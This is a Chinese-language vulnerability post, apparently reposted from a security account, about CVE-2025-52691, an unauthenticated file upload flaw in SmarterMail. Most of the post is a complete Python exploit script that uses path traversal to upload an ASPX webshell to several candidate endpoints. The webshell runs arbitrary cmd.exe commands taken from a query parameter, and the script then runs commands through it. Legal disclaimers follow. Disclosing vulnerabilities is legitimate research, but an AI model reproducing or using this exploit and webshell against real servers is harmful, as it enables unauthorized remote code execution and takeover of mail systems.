文章总结: 本文披露了SmarterMail邮件服务器CVE-2025-52691未授权文件上传漏洞,攻击者无需认证即可上传恶意文件实现RCE,影响版本小于等于9406。文中提供了完整的PythonPOC验证脚本及检测建议,建议受影响用户及时升级版本并限制服务端访问以修复安全隐患。 综合评分: 90 文章分类: 漏洞POC,漏洞分析,渗透测试,WEB安全,漏洞预警
CVE-2025-52691|SmarterMail 未授权文件上传漏洞(POC)
alicy
信安百科
2026年1月2日 09:35 河北
0x00 前言
SmarterMail是一款由SmarterTools公司开发的基于Windows平台的邮件服务器软件,专为中小型企业、教育机构及需要私有化部署的组织设计,提供完整的邮件通信解决方案。其核心定位是作为Microsoft Exchange的轻量级替代方案,无需依赖Active Directory,部署更灵活,运维成本更低。
0x01 漏洞描述
服务器对文件上传过程中的安全校验不足,导致攻击者在无需任何身份认证的情况下,即可向邮件服务器任意路径上传恶意文件。
0x02 CVE编号
CVE-2025-52691
0x03 影响版本
SmarterMail <= 9406
0x04 漏洞详情
POC:
https://github.com/yt2w/CVE-2025-52691
#!/usr/bin/env python3
import sysimport argparseimport requestsimport uuidimport base64from typing import Optional, Tuplefrom dataclasses import dataclassfrom enum import Enumfrom urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
class ExploitResult(Enum): SUCCESS = "success" SHELL_UPLOADED = "shell_uploaded" FAILED = "failed" ERROR = "error"
@dataclass class TargetConfig: base_url: str timeout: int = 30 verify_ssl: bool = False
class SmarterMailExploit:
UPLOAD_ENDPOINTS = [ "/api/upload", "/api/v1/upload", "/Interface/Frmx/UploadFile.aspx", "/MRS/Upload.ashx", "/Services/Upload.ashx" ]
ASPX_WEBSHELL = """<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %><script runat="server">protected void Page_Load(object sender, EventArgs e) { string c = Request.QueryString["cmd"]; if (!string.IsNullOrEmpty(c)) { ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c " + c; psi.RedirectStandardOutput = true; psi.UseShellExecute = false; Process p = Process.Start(psi); Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>"); p.WaitForExit(); }}</script>"""
def __init__(self, config: TargetConfig): self.config = config self.session = requests.Session() self.shell_name = None self.shell_path = None
def _request(self, method: str, endpoint: str, **kwargs) -> Optional[requests.Response]: url = f"{self.config.base_url}{endpoint}" kwargs.setdefault("timeout", self.config.timeout) kwargs.setdefault("verify", self.config.verify_ssl)
try: return self.session.request(method, url, **kwargs) except requests.exceptions.RequestException: return None
def check_alive(self) -> bool: response = self._request("GET", "/") return response is not None
def generate_shell_name(self) -> str: return f"{uuid.uuid4().hex[:8]}.aspx"
def upload_shell_multipart(self, endpoint: str, shell_content: str, filename: str) -> bool: files = { "file": (filename, shell_content, "application/octet-stream") }
data = { "path": "../wwwroot/", "folder": "../wwwroot/", "directory": "../wwwroot/" }
response = self._request("POST", endpoint, files=files, data=data)
if response and response.status_code in [200, 201, 204]: return True
return False
def upload_shell_raw(self, endpoint: str, shell_content: str, filename: str) -> bool: headers = { "Content-Type": "application/octet-stream", "X-Filename": filename, "X-Path": "../wwwroot/" }
response = self._request("POST", endpoint, data=shell_content.encode(), headers=headers)
if response and response.status_code in [200, 201, 204]: return True
return False
def upload_shell_json(self, endpoint: str, shell_content: str, filename: str) -> bool: payload = { "filename": filename, "content": base64.b64encode(shell_content.encode()).decode(), "path": "../wwwroot/", "overwrite": True }
headers = {"Content-Type": "application/json"}
response = self._request("POST", endpoint, json=payload, headers=headers)
if response and response.status_code in [200, 201, 204]: return True
return False
def verify_shell(self, shell_name: str) -> Tuple[bool, str]: paths = [ f"/{shell_name}", f"/wwwroot/{shell_name}", f"/Interface/{shell_name}", f"/MRS/{shell_name}" ]
for path in paths: response = self._request("GET", f"{path}?cmd=whoami") if response and response.status_code == 200: if "pre" in response.text.lower() or "\\" in response.text: return True, path
return False, ""
def execute_command(self, command: str) -> Optional[str]: if not self.shell_path: return None
response = self._request("GET", f"{self.shell_path}?cmd={command}")
if response and response.status_code == 200: import re match = re.search(r"<pre>(.*?)</pre>", response.text, re.DOTALL) if match: return match.group(1).strip() return response.text
return None
def exploit(self) -> ExploitResult: if not self.check_alive(): return ExploitResult.ERROR
self.shell_name = self.generate_shell_name()
for endpoint in self.UPLOAD_ENDPOINTS: upload_methods = [ self.upload_shell_multipart, self.upload_shell_raw, self.upload_shell_json ]
for upload_method in upload_methods: try: if upload_method(endpoint, self.ASPX_WEBSHELL, self.shell_name): success, path = self.verify_shell(self.shell_name) if success: self.shell_path = path return ExploitResult.SHELL_UPLOADED except Exception: continue
success, path = self.verify_shell(self.shell_name) if success: self.shell_path = path return ExploitResult.SHELL_UPLOADED
return ExploitResult.FAILED
def parse_arguments() -> argparse.Namespace: parser = argparse.ArgumentParser( description="CVE-2025-52691: SmarterMail Arbitrary File Upload RCE", formatter_class=argparse.RawDescriptionHelpFormatter )
parser.add_argument("target", help="Target URL (e.g., http://mail.example.com)") parser.add_argument("-c", "--command", help="Command to execute after upload") parser.add_argument("-t", "--timeout", type=int, default=30, help="Request timeout") parser.add_argument("--check-only", action="store_true", help="Only check if target is alive")
return parser.parse_args()
def main() -> int: args = parse_arguments()
base_url = args.target.rstrip("/") if not base_url.startswith("http"): base_url = f"https://{base_url}"
config = TargetConfig(base_url=base_url, timeout=args.timeout) exploit = SmarterMailExploit(config)
print(f"\n[*] Target: {config.base_url}") print(f"[*] CVE-2025-52691: SmarterMail Arbitrary File Upload RCE\n")
if not exploit.check_alive(): print("[-] Target is not reachable") return 1
print("[+] Target is alive")
if args.check_only: print("[*] Check only mode - target appears to be SmarterMail") return 0
print("[*] Attempting unauthenticated file upload...") print(f"[*] Shell name: {exploit.shell_name or exploit.generate_shell_name()}")
result = exploit.exploit()
if result == ExploitResult.SHELL_UPLOADED: print(f"\n[!] WEBSHELL UPLOADED SUCCESSFULLY") print(f"[+] Shell path: {exploit.shell_path}") print(f"[+] Access: {config.base_url}{exploit.shell_path}?cmd=<command>")
if args.command: print(f"\n[*] Executing: {args.command}") output = exploit.execute_command(args.command) if output: print(f"[+] Output:\n{output}")
return 0
else: print("[-] Exploit failed - target may be patched or different version") return 1
if __name__ == "__main__": sys.exit(main())
0x05 参考链接
https://www.smartertools.com/smartermail/downloads/
推荐阅读:
CVE-2025-49113|Roundcube Webmail反序列化漏洞(POC)
N/A|Roundcube Webmail存在远程代码执行漏洞(POC)
CVE-2025-55182|React/Next.js远程代码执行漏洞(POC)
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信安百科 alicy《CVE-2025-52691|SmarterMail 未授权文件上传漏洞(POC)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论